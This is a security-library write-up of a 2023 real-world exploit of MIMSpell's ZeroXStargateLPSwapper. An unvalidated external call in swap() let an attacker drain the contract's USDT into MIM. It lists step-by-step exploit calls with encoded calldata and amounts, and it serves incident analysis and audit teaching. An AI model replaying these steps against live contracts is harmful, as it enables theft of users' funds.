# MIMSpell: arbitrary external call in swap drains swapper USDT

MIMSpell's swap() passed attacker-controlled swapData to an arbitrary call, letting an attacker drain USDT held by the ZeroXStargateLPSwapper contract into MIM.

- Payout: Real-world hack
- Severity: high
- Program: MIMSpell
- Analysis by: DeFiHackLabs
- Disclosed: 2023-06-20
- Write-up quality: 7/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2023-06/MIMSpell_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20230620-mimspell
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:high tech:evm tech:solidity technique:source-review vuln:access-control vuln:business-logic

**Target:** ZeroXStargateLPSwapper contract (ISwapper.swap) on Ethereum mainnet
**Root cause:** The vulnerable swap() function forwarded attacker-supplied swapData into an external call (zeroXEchangeProxy.call(swapData)) without validating the target or calldata, allowing arbitrary external calls from the swapper contract's context.
**Steps:**
1. Attacker obtains 3e6 SUSDT and approves DegenBox.
2. Calls `DegenBox.deposit(address(SUSDT), address(this), address(ZeroXStargateLPSwapper), 0, 2_400_000)` to give the swapper a share balance.
3. Builds `auxiliaryDatas = abi.encode(CurveAddress, CurveFunctionSelector, FromCoinIdx, ToCoinIdx)` where CurveFunctionSelector is `exchange_underlying(int128,int128,uint256,uint256)`.
4. Builds `data = abi.encodeWithSignature("sellToLiquidityProvider(address,address,address,address,uint256,uint256,bytes)", USDT, MIM, curveLiquidityProvider, exploiter, USDT.balanceOf(ZeroXStargateLPSwapper), 16_716_883_658_670_000_000_000, auxiliaryDatas)`.
5. Calls `ZeroXStargateLPSwapper.swap(address(this), address(this), address(this), 0, 1_920_000, data)`.
6. The swapper's internal `zeroXEchangeProxy.call(swapData)` executes the crafted sellToLiquidityProvider, swapping the swapper's USDT to MIM with the attacker as recipient.
**Exploitation:** Attacker supplied a small SUSDT deposit to obtain a share in the swapper, then invoked swap() with crafted swapData. The swapper made an arbitrary external call to a Curve liquidity provider, selling the swapper's entire USDT balance for MIM sent to the attacker. Attacker netted ~$17k.
**Insight:** When a contract exposes a swap() that forwards user-supplied bytes into an external call, check whether the target and calldata are constrained; if not, the contract's own token balances become the attacker's sell amount.

